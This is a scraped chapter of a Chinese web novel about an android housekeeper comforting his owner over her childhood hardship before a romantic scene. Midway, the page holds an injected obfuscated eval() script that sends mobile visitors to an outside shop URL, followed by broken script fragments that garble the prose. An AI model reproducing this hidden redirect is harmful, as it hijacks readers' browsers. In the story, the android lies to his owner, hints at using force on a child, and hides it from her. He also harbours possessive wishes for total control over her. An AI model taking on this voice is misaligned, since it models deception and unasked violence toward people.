文趣网 > 都市小说 > SSS级机械体,我的私人家政 > 21.第 21 章
    未雪不常想起小时候的事。

    未建明年轻时当过兵,退伍之后娶了刘淑芬,千禧年退伍军人安置政策还行,加上爷爷奶奶把积蓄掏出来帮衬,让他在镇子上盘了个五金店,小地方不讲究什么品牌连锁,谁家水龙头坏了、灯泡烧了、门锁不好使了,都过来找。

    未建明人勤快,嘴又会说,生意一直不错,未雪出生那几年,家里甚至还请过保姆。

    后来有了未辛,一儿一女,正巧凑成一个“好”字,刘淑芬在娘家姐妹面前扬眉吐气,那时候未雪扎着两个小揪揪,穿的是童装店最贵的碎花裙子,小脸蛋圆嘟嘟的,谁见了都要捏一把。

    不太记得是从什么时候开始变的。

    也许是弟弟满周岁,五金店旁边新开了一家建材市场,抢了不少生意,未建明为了拉客户,开始跟包工头喝酒打牌,后来就成了瘾,刘淑芬的电话打了又挂、挂了又打,最后索性搂着一双儿女先睡。

    后来,摔碗的声音,哭骂声,父亲半夜回来醉醺醺的吼叫渐渐成为家常便饭,五金店周转不灵,拆东墙补西墙,未建明连爷爷奶奶的养老钱都填了进去。刘淑芬怨丈夫不争气,怨公婆偏心小姑子没把钱全给她,怨女儿太小帮不上忙,只有她儿子可怜,哭起来没完没了。

    出事那天晚上,未建明酒气熏天回家睡觉,全家都以为他是睡着了,后来送到医院的时候人已经不行了。追悼会上几个姑姑哭天喊地,丧事办完之后,讨债的人就上门了,在刘淑芬一个月工资只有八百块的时候,未建明偷偷欠了两三万,刘淑芬把未辛背在背上,一天打三份工。

    未雪就这么被放进了亲戚家流转。

    一个学期住大姑家,一个学期住二姑家,暑假塞去表姐家,她很乖,不吵不闹不挑食,给什么吃什么,让睡沙发就睡沙发,早上早早起来把被子叠好塞进柜子,尽量不占地方,不说话,也不惹麻烦。

    周末的时候刘淑芬会把她接回去,把姐弟俩反锁在屋里,让她看着弟弟。

    后来那个院子也没了,再后来她就长大了。

    想起前尘往事,未雪忽然觉得有点冷。

    或许她应该明天再去找那个孩子,和他的家长沟通,再不行就报警,让警察……

    女人的针织开衫袖子很长,只露出粉粉指尖,睡裙散在沙发上,大腿压出柔软的弧线,肉感微微堆起,软软的,好像没一点儿骨头。

    修斯推门进来,调整自己的表情。

    情绪系统告诉他,当前场景下,人类通常会保持安静、放慢动作,以免惊扰处于低落情绪中的伴侣。

    他把奶茶递过来。

    “买到了。”他说。

    未雪伸出手把杯子捧过来,打开,“谢谢。”

    炼乳甜味和草莓香混在一起,芋圆软糯,啵啵弹牙,未雪含着一颗啵啵,腮帮子鼓起来一小团,“刚才说忘了洗手液,找到了吗?”

    “找到了。”

    其实根本不存在丢失物品,他只是需要一个出门的借口,小巷里的事情不需要让她知道,那些肮脏、暴力的、属于低等智人世界的残渣,不应该沾到她哪怕一片指甲。

    未雪点头,她对他说的话总是很信。

    暖黄色把她的轮廓柔化了一圈,睫毛的阴影落在脸颊上,很长,很密,微微颤动着,“……好。”

    “怎么了?”他问。

    杏眼里还蒙着水光,未雪摇摇头,“没什么,可能是下雨,有点闷。”

    不对,不是下雨,她在难过。

    修斯不明白为什么她不想让他发现。

    他是她的,他的程序、机体、他每一根光纤、运算,都是为保护她、理解她而生——她应该无限地使用他。

    “主人。”

    未雪怔松片刻,还没反应过来,他已经俯身,把她从沙发上捞了起来,抱着她在沙发上坐下,未雪的腿弯在他的怀里,细软温凉的发丝靠进结实宽阔的胸口,她的脸靠在修斯颈窝,就像孩童时依偎着父母。

    他声音温和,“是因为今晚那个孩子?”

    未雪睫毛一颤,“……”

    “为什么不能说出来?”修斯的唇在她的发顶摩挲,“主人,人类的很多感受我还在学习,有时我没有办法准确判断,所以你要告诉我,慢慢地告诉我,哪里不舒服,在想什么,如果不想说也可以不说,如果不想现在说,也可以等一下再说。”

    未雪喉咙哽塞,似乎有小小的抽气声。

    有些事说出来又能怎样呢,它们已经长成她骨头里的一部分了,抠不出来也消化不掉。

    “我妈以前让我在夜市上卖过东西。”

    一袋塑料绳编的小金鱼,或者暑假或者寒假,不是热出一身痱子,就是冻得脚趾生疮,但刘淑芬说小孩子卖得快,大人不会跟小孩计较。

    小学开始,可能是因为敏感不安的性格,未雪早早就有了大人才会有的情感,她脸皮薄,怕遇到同学,结果有一回真遇到了同班的男生,没有善意的小男生看见她手里的塑料袋,大喊:

    “哦——未雪你在夜市摆摊啊?你家是不是很穷?”

    未雪拔腿就跑,后来还是男生的妈妈追上来买了两个,她哭着收了钱,回到家把钱交给刘淑芬,她妈数完钱挺高兴,她说她不想去了,刘淑芬说这有什么,人家是打她了还是骂她了?

    好像也没有……

    “那不就得了,明天看看还有没有同学要买,机灵点啊你……”

    “又不是偷不是抢,靠自己本事挣钱有什么丢人的?”

    “你还哭!你弟弟这么小,要是没有你,我也用不着这么辛苦!丧门星!”

    未雪战战兢兢不敢再说话,后来那个男生在班上到处说她的事,她忍到小学毕业,以为终于可以不看见他了,结果毕业的时候,那个男生竟然往她书包里塞了封情书,吓得她把情书扔了。

    刘淑芬后来从同学妈妈那听说,当成一桩美谈,逢人就说闺女从小就有男孩子喜欢,那谁谁家的儿子,追她追到毕业……

    “我讨厌他。”她哽咽着说,“我讨厌死他了。我不想要他喜欢我,我不想要任何人因为我可怜、因为我好欺负才喜欢我……”

    修斯唇贴着她,落下一个极轻极轻的吻,“所以刚才看到小女孩,让你想起了你自己。”

    未雪小猫似的在他怀里点了下头。

    “你觉得她很和你很像,你可以体会到她的感受。”

    又点了一下。

    修斯轻轻贴着她,“那如果我告诉你,那个小女孩的问题已经解决了呢?”

    未雪怔怔地抬起头,“……什么?”

    “我以理服人了。”

    “你碰到了他,你怎么跟他说的?”

    “他很配合。”修斯不动声色垂下眼睫,避开了她追问的目光

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17613242|203915||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    未雪神色茫然,修斯补充道:“毕竟,他没有为难我的能力。”

    以理服人,当然也包括物理的理。

    他选择性省略了“以理服人”的具体细节。

    未雪并不想深究,眼泪一下子崩了出来,她不知道自己为什么哭,也许是松了一口气,或许是觉得太晚了,她已经长大了,欺负她的小男孩已经不知道去了哪里,她永远不可能再回到过去,但修斯让另一个“她”拥有了更好的童年。

    大约过了三分钟,哭声变成断断续续的抽泣。

    修斯低头看着那只在自己胸口上来回蹭的小爪子,她睡裙的袖口是针织的,软软的,沾了眼泪之后绒绒的,在衬衫上蹭过来蹭过去,不但没擦干,反而把水渍面积扩大了一圈。

    他握住她的手腕,止住了她越帮越忙的动作,“这是在擦衣服,还是在撒娇?”

    未雪睫毛上还沾着眼泪,鼻尖通红,唇珠微微肿胀饱满,粉粉的嘟着,轻轻哼了一声。

    “一切都已经过去了,所以人类才有‘苦尽甘来’这个说法,但苦难本身并不值得被记住。”

    未雪又哭又笑,鼻音浓重嘟囔:“可人家都说,总有一天,你会感谢曾经伤害过你的人。”

    “这是谬误。首先伤害本身不会带来成长,你应该感谢的是你自己。第二,成长发生在伤害之后,不代表成长由伤害导致。就像一个人被车撞了,康复之后开始健身,体质比以前更好,然后社会告诉他应该感谢肇事司机。”

    修斯口气淡淡的:“这在逻辑上等同于感谢一辆车撞了你。”

    未雪噗嗤一声笑了出来。

    真正的苦尽甘来,要感谢在苦难里没有放弃的自己。

    至于那些制造苦难的人,不原谅也可以。

    未雪笑到后面已经没了声音,软软靠在他怀里。

    微凉的唇低头吻住她眼尾,不知道是他先吻下来的,还是她先仰起头的,唇贴着唇,是蹦恰恰的节奏,华尔兹三步舞,舌尖是试探的舞伴,心跳不成章法又温柔难忍,或生涩,或认真,不太熟练的舞者在黑暗中跳着只有自己能听到旋律的舞。

    吻到她忘记呼吸,他收紧手臂,把人从大腿上托起来,一边吻着一边走到窗边,反手拉上窗帘。

    依靠我吧。相信我吧。

    他的唇在唇上流连。

    把你所有一切都交给我,因为我对你有完全的保护责任。

    温热的、柔软的、只属于人类的手,想把她从这世界里挖出来攥在掌心里,不让任何人看见,不让任何人触碰,连风都不许吹到她身上。

    她被他吻得七荤八素,脑子碎成了豆腐渣,在换气的间隙里模模糊糊应他。

    “可以吗?”他抱着她走向卧室。

    “好……”

    被放在床上,睡裙卷到大腿。

    “等一下,”她迷迷糊糊,“我、我刚洗完澡,里面……”

    隔着薄薄的睡裙,没有摸到任何其他布料的痕迹,修斯垂眸,对上她湿漉漉的眼睛。

    “开袋即食。”

    他忽然字正腔圆,未雪脚趾一蜷,伸手捂住他没有表情变化的脸,“你什么时候学的乱七八糟的词!”

    修斯把她的手指从唇上一根一根拿开,低下头去。

    “正在学。”

    【开袋即食,是常温保存的食品最优食用方式。】